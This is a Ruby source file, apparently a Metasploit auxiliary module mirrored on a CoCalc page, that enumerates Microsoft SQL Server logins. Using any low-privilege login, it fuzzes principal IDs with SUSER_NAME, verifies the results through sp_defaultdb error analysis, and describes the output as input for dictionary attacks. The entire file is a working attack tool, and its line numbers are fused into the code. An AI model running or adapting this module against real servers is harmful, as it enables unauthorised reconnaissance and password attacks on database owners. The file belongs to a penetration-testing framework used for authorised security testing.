CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!
Path: blob/master/modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb
Views: 1904
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::MSSQL78def initialize(info = {})9super(update_info(info,10'Name' => 'Microsoft SQL Server SUSER_SNAME SQL Logins Enumeration',11'Description' => %q{12This module can be used to obtain a list of all logins from a SQL Server with any login.13Selecting all of the logins from the master..syslogins table is restricted to sysadmins.14However, logins with the PUBLIC role (everyone) can quickly enumerate all SQL Server15logins using the SUSER_SNAME function by fuzzing the principal_id parameter. This is16pretty simple, because the principal IDs assigned to logins are incremental. Once logins17have been enumerated they can be verified via sp_defaultdb error analysis. This is18important, because not all of the principal IDs resolve to SQL logins (some resolve to19roles instead). Once logins have been enumerated, they can be used in dictionary attacks.20},21'Author' => ['nullbind <scott.sutherland[at]netspi.com>'],22'License' => MSF_LICENSE,23'References' => [['URL','https://docs.microsoft.com/en-us/sql/t-sql/functions/suser-sname-transact-sql']]24))2526register_options(27[28OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 300]),29])30end3132def run33# Check connection and issue initial query34print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")35if mssql_login_datastore36print_good('Connected.')37else38print_error('Login was unsuccessful. Check your credentials.')39disconnect40return41end4243# Query for sysadmin status44print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")45user_status = check_sysadmin4647# Check if user has sysadmin role48if user_status == 149print_good("#{datastore['USERNAME']} is a sysadmin.")50else51print_status("#{datastore['USERNAME']} is NOT a sysadmin.")52end5354# Get a list if sql server logins using SUSER_NAME()55print_status("Setup to fuzz #{datastore['FuzzNum']} SQL Server logins.")56print_status('Enumerating logins...')57sql_logins_list = get_sql_logins58if sql_logins_list.nil? || sql_logins_list.empty?59print_error('Sorry, somethings went wrong - SQL Server logins were found.')60disconnect61return62else63# Print number of initial logins found64print_good("#{sql_logins_list.length} initial SQL Server logins were found.")6566sql_logins_list.sort.each do |sql_login|67if datastore['VERBOSE']68print_status(" - #{sql_login}")69end70end71end7273# Verify the enumerated SQL Logins using sp_defaultdb error ananlysis74print_status('Verifying the SQL Server logins...')75sql_logins_list_verified = verify_logins(sql_logins_list)76if sql_logins_list_verified.nil?77print_error('Sorry, no SQL Server logins could be verified.')78disconnect79return80else8182# Display list verified SQL Server logins83print_good("#{sql_logins_list_verified.length} SQL Server logins were verified:")84sql_logins_list_verified.sort.each do |sql_login|85print_status(" - #{sql_login}")86end87end8889disconnect90end9192# Checks if user is a sysadmin93def check_sysadmin94# Setup query to check for sysadmin95sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"9697# Run query98result = mssql_query(sql)99100# Parse query results101parse_results = result[:rows]102status = parse_results[0][0]103104# Return status105return status106end107108# Gets trusted databases owned by sysadmins109def get_sql_logins110# Create array to store the sql logins111sql_logins = []112113# Fuzz the principal_id parameter passed to the SUSER_NAME function114(1..datastore['FuzzNum']).each do |principal_id|115# Setup query116sql = "SELECT SUSER_NAME(#{principal_id}) as login"117118# Execute query119result = mssql_query(sql)120121# Parse results122parse_results = result[:rows]123sql_login = parse_results[0][0]124125# Add to sql server login list126sql_logins.push(sql_login) unless sql_logins.include?(sql_login)127end128129# Return list of logins130sql_logins131end132133# Checks if user has the db_owner role134def verify_logins(sql_logins_list)135136# Create array for later use137verified_sql_logins = []138139fake_db_name = Rex::Text.rand_text_alpha_upper(24)140141# Check if the user has the db_owner role is any databases142sql_logins_list.each do |sql_login|143# Setup query144sql = "EXEC sp_defaultdb '#{sql_login}', '#{fake_db_name}'"145146# Execute query147result = mssql_query(sql)148149# Parse results150parse_results = result[:errors]151result = parse_results[0]152153# Check if sid resolved to a sql login154if result.include?(fake_db_name)155verified_sql_logins.push(sql_login) unless verified_sql_logins.include?(sql_login)156end157158# Check if sid resolved to a sql login159if result.include?('alter the login')160# Add sql server login to verified list161verified_sql_logins.push(sql_login) unless verified_sql_logins.include?(sql_login)162end163end164165verified_sql_logins166end167end168169170